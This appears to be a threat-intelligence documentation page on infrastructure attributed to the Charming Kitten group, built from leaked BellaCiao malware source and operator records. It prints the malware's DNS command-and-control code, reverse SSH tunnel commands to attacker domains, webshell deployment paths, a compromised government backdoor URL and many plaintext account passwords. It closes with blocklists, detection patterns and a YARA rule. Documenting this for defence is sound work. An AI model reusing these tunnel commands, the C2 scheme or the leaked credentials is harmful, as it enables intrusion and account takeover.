Domain Infrastructure - CharmingKitten Exposure

This page documents malicious domain infrastructure used by Charming Kitten (IRGC-IO Division 1500, Department 40). All domains listed are associated with threat actor operations.

Overview

The domain infrastructure used by Charming Kitten has been extracted from the BellaCiao malware source code (Episode 3) and infrastructure documentation (Episode 4). These domains serve as command-and-control (C2) infrastructure and data exfiltration channels.

BellaCiao C2 Domains

Primary C2 Domains (Variant 1)

From Service1.cs in BellaCiao source code:

// File: MicrosoftAgentServices/Service1.cs:23-24
public string dnsdomain = ".eposta.maill-support.com";
public string dnsdomain2 = ".eposta.mailupdate.info";

Domain Details

eposta.maill-support.com

Primary C2 Domain

Used by BellaCiao Variant 1
DNS-based command channel
Subdomain pattern: [random]EXH.eposta.maill-support.com

eposta.mailupdate.info

Backup C2 Domain

Fallback if primary domain fails
Same subdomain pattern
Activated after 60-second delay

BellaCiao DNS C2 Protocol

The malware uses a sophisticated DNS-based C2 mechanism:

// Random subdomain generation
string randstr = RandomString(2, false) + RandomString(3, true);
// Example: "ABxyz"

// DNS query construction
string finalhost = randstr + "EXH" + dnsdomain;
// Example: "ABxyzEXH.eposta.maill-support.com"

// DNS resolution for command retrieval
System.Net.IPHostEntry query = System.Net.Dns.GetHostEntry(finalhost);
string response = query.AddressList[0].ToString();

Command IP Encoding

The C2 server responds with specially crafted IP addresses that encode commands:

IP Pattern	Command	Action
`..168.58`	Deploy webshell	Write malicious .aspx file
`212.175.168.59`	Cleanup	Remove deployed webshells
`212.175..`	Predefined target	Use hardcoded file paths
`.175.168.`	Exchange path 1	Deploy to `/owa/auth/Current/themes/resources/`
`.176.168.`	Exchange path 2	Deploy to `/owa/auth/Current/themes/`
`.177.168.`	Exchange path 3	Deploy to `/owa/auth/Current/`

Secondary C2 Domains (Variant 2)

From iis.ps1 in BellaCiao Variant 2:

# File: Variant2/iis.ps1:7-8
$domain = "twittsupport.com"
$domain2 = "msn-center.uk"

twittsupport.com

Primary Tunnel Domain

Used for reverse SSH tunneling
Port: 443
Credential: Israel:Israel@123!

msn-center.uk

Backup Tunnel Domain

Fallback tunnel server
Same port and credentials
10-second delay before fallback

Tunnel Configuration

The PowerShell implant establishes reverse tunnels:

# Primary tunnel command
$command = "echo Y | $Path $domain -P 443 -C -R 127.0.0.1:9090:127.0.0.1:49450 -l Israel -pw Israel@123!"

# Backup tunnel command  
$command2 = "echo Y | $Path $domain2 -P 443 -C -R 127.0.0.1:9090:127.0.0.1:49450 -l Israel -pw Israel@123!"

Compromised Domain Infrastructure

Turkish Foreign Ministry

From eposta.txt - actual compromised URL:

C2 IP: 212.175.168.58
Backdoor URL: https://eposta.mfa.gov.ct.tr/aspnet_client/system_web/aspnet_client.aspx

Webshell Deployment Paths

The malware deployed webshells to multiple paths on compromised Exchange servers:

# IIS Paths
c:\inetpub\wwwroot\aspnet_client\aspnet.aspx
c:\inetpub\wwwroot\aspnet_client\system_web\aspnet.aspx

# Exchange Server Paths
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\themes\resources\owafont.aspx
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\themes\themes.aspx
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\logon.aspx

Campaign-Specific Domains

Moses Staff Campaign

From Episode 4 infrastructure documentation:

Domain	TLD	Registrar	Registration Date	Status
moses-staff.io	.io	namecheap.com	1/9/2024	Ticket #2073
moses-staff.to	.to	namecheap.com	1/9/2024	Credential exposed
moses-staff.se	.se	prq.se	1/9/2024	Ticket #2072

Moses Staff Credentials

moses-staff.io:
Account: [email protected]:JHg&%asjh98*&^$dI&*^fd
Ticket: #2073

moses-staff.to:
Account: [email protected]:ghfycf6787$DSHJ&^%#q

moses-staff.se:
Ticket: #2072

Israel Talent Campaign

Domain	TLD	Registrar	Registration Date	Purpose
israel-talent.com	.com	theonionhost.com	25/2/2024	Primary phishing domain
israel-talent.xyz	.xyz	namesilo.com	20/1/2025	Alternate domain

Israel Talent Infrastructure

israel-talent.com:
Hosting: theonionhost.com
Account: [email protected]:{1h)p0f_R(Ln
Registration: 25/2/2024
Cost: $140 (3 months, covers hosting + DNS + old domain)
Ticket: #2029
IP: 95.169.196.220
Alternate Credentials: [email protected]:Kh74QjGDq35NtvB

israel-talent.xyz:
Registrar: namesilo.com
Account: valentinepirogova
Registration: 20/1/2025
Renewal: 27/1/2025

ProtonMail Account:
Date: 16/7/2023
Cost: €5
Ticket: #2042

Abrahams Ax Campaign

Component	Details
Domain Provider	prq.se (kundcenter.prq.se)
Registration	10/10/2024
Cost	$100 (1 year)
Account	[email protected]:J7Z4pw-G
Credentials	[email protected]:6EF94ELUgAKdPqH
TOR Hosting	portal.imprezahost.com
TOR Account	[email protected]:vAFc,7mNvi+-G
TOR Registration	5/11/2023 - $90

Additional Campaign Domains

BBM Movement

bbmovements.com

Registrar: namesilo.com
Registration: 8/11/2024
Renewal: 13/11/2024
Ticket: #bbm

Termite

termite.nu

Registrar: prq.se
Account: [email protected]:Ubefrp
Registration: 25/11/2023
Cost: $45
Alt Creds: [email protected]:zNUyBQVwb6jqT5M

Dreamy Jobs

dreamy-jobs.com

Registrar: namesilo.com
Registration: 1/7/2024
Cost: $15
Account: [email protected]:7?n9”b/Aj~)6A
Ticket: #2065

Wazayif Halima

wazayif-halima.org

Registrar: namesilo.com
Registration: 30/8/2024
Account: [email protected]:7?n9”b/Aj~)6A
Ticket: #2069

SecNetDC Infrastructure

Domain: secnetdc.com

Hosting Provider: modernizmir.net
Account: [email protected]:MXQ8GLX5qg3yEUV
Registration: 23/8/2023
Payment: 26/8/2023 - $10
Ticket: #2063
API Key: 3A5MBwQsQvJdernıZ3FtFMPnoБs6HfMdWK

Domain Registration:
Provider: modernizmir.net  
Account: [email protected]:MXQ8GLX5qg3yEUV
Renewal: 10/1/2025
Payment: 20/1/2025 - $70

Tecret Infrastructure

Domain: tecret.com

Hosting: theonionhost.com
Account: [email protected]:RN8OiQ6Y(%H0
Registration: 29/1/2024
Payment: 2/2/2024 - $3
Ticket: #2067

Domain Registration: modernizmir.net
Account: [email protected]:2tJuGXqHFbAJNjS
Renewal: 6/11/2024
Payment: 11/11/2024
Note: SSL included (1/1 renewal)

Cavinet Infrastructure

Domain: cavinet.org

Registrar: namecheap.com
Registration: 1/12/2022
Cost: $60 (3 months)
Ticket: #2016
Account: [email protected]:CMEPZ9WMb8difTw

Hosting: temok.com  
Renewal: 2/3/2024
Cost: $45
Ticket: #2017

Domain Naming Patterns

Observed Patterns

Charming Kitten uses specific patterns in their domain selection:

Typosquatting Mail Services
- eposta.maill-support.com (double-l)
- eposta.mailupdate.info
- msn-center.uk
Regional/Geopolitical Themes
- israel-talent.com/xyz
- moses-staff.* (multiple TLDs)
- wazayif-halima.org (Arabic: jobs)
Technical/Support Themes
- twittsupport.com
- secnetdc.com
- tecret.com
Generic Business Themes
- dreamy-jobs.com
- cavinet.org

Subdomain Structure

BellaCiao generates randomized subdomains:

[2 uppercase letters][3 lowercase letters]EXH.[primary domain]
Example: ABxyzEXH.eposta.maill-support.com

C2 Communication Flow

Implant Initialization

BellaCiao service starts on compromised system with 24-hour timer

Random Subdomain Generation

Generate 2-char uppercase + 3-char lowercase random string (e.g., “ABxyz”)

DNS Query Construction

Append “EXH” and primary domain: ABxyzEXH.eposta.maill-support.com

DNS Resolution

Query DNS server for IP address of constructed subdomain

Command Parsing

Parse returned IP address to determine command:

Last octet = 58: Deploy webshell
IP = 212.175.168.59: Remove webshells

Fallback Mechanism

If primary domain fails, wait 60 seconds and try backup domain

Domain Infrastructure Timeline

Registrar Distribution

Registrar	Domains	Operations
namecheap.com	3+	cavinet.org, moses-staff.io, moses-staff.to
namesilo.com	4+	bbmovements.com, dreamy-jobs.com, wazayif-halima.org, israel-talent.xyz
prq.se	3+	moses-staff.se, termite.nu, Abrahams Ax
modernizmir.net	2+	secnetdc.com, tecret.com
theonionhost.com	5+	moses-staff, israel-talent.com, dreamy-jobs, wazayif-halima, tecret
impreza.host	2+	moses-staff, Abrahams Ax

Detection and Mitigation

Defensive Measures:

Block all domains listed on this page at DNS/firewall level
Monitor for DNS queries matching pattern [A-Z]{2}[a-z]{3}EXH.*
Alert on connections to IP ranges: 95.169.196., 95.183.51., 212.175.168.*
Inspect outbound connections on port 443 to non-standard destinations
Monitor for ProtonMail accounts in network traffic associated with listed patterns

YARA Rule for Domain Detection

rule CharmingKitten_BellaCiao_Domains {
    meta:
        description = "Detects BellaCiao C2 domains in memory or files"
        author = "Threat Intel Team"
        reference = "Episode 3 & 4 Leaks"
    
    strings:
        $c2_1 = "eposta.maill-support.com" ascii wide
        $c2_2 = "eposta.mailupdate.info" ascii wide
        $c2_3 = "twittsupport.com" ascii wide
        $c2_4 = "msn-center.uk" ascii wide
        $c2_5 = "moses-staff.io" ascii wide
        $c2_6 = "israel-talent.com" ascii wide
    
    condition:
        any of ($c2_*)
}

References

BellaCiao Variant 1 source: Episode 3/BellaCiao/Variant1/Eposta/Backdoor/ShellDropper/MicrosoftAgentServices/Service1.cs:23-24
BellaCiao Variant 2 source: Episode 3/BellaCiao/Variant2/iis.ps1:7-8
Infrastructure documentation: Episode 4/0-SERVICE-Service.csv
Compromise evidence: Episode 3/BellaCiao/Variant1/Eposta/Backdoor/ShellDropper/eposta.txt
BitDefender BellaCiao Analysis: https://www.bitdefender.com/en-us/blog/businessinsights/unpacking-bellaciao-a-closer-look-at-irans-latest-malware

BellaCiao

Webshells & Tools

Infrastructure

​Overview

​BellaCiao C2 Domains

​Primary C2 Domains (Variant 1)

​Domain Details

eposta.maill-support.com

eposta.mailupdate.info

​BellaCiao DNS C2 Protocol

​Command IP Encoding

​Secondary C2 Domains (Variant 2)

twittsupport.com

msn-center.uk

​Tunnel Configuration

​Compromised Domain Infrastructure

​Turkish Foreign Ministry

​Campaign-Specific Domains

​Moses Staff Campaign

​Moses Staff Credentials

​Israel Talent Campaign

​Abrahams Ax Campaign

​Additional Campaign Domains

BBM Movement

Termite

Dreamy Jobs

Wazayif Halima

​SecNetDC Infrastructure

​Tecret Infrastructure

​Cavinet Infrastructure

​Domain Naming Patterns

​Observed Patterns

​Subdomain Structure

​C2 Communication Flow

​Domain Infrastructure Timeline

​Registrar Distribution

​Detection and Mitigation

​YARA Rule for Domain Detection

​Related Infrastructure

​References

Build docs developers (and LLMs) love

Overview

BellaCiao C2 Domains

Primary C2 Domains (Variant 1)

Domain Details

BellaCiao DNS C2 Protocol

Command IP Encoding

Secondary C2 Domains (Variant 2)

Tunnel Configuration

Compromised Domain Infrastructure

Turkish Foreign Ministry

Campaign-Specific Domains

Moses Staff Campaign

Moses Staff Credentials

Israel Talent Campaign

Abrahams Ax Campaign

Additional Campaign Domains

SecNetDC Infrastructure

Tecret Infrastructure

Cavinet Infrastructure

Domain Naming Patterns

Observed Patterns

Subdomain Structure

C2 Communication Flow

Domain Infrastructure Timeline

Registrar Distribution

Detection and Mitigation

YARA Rule for Domain Detection

Related Infrastructure

References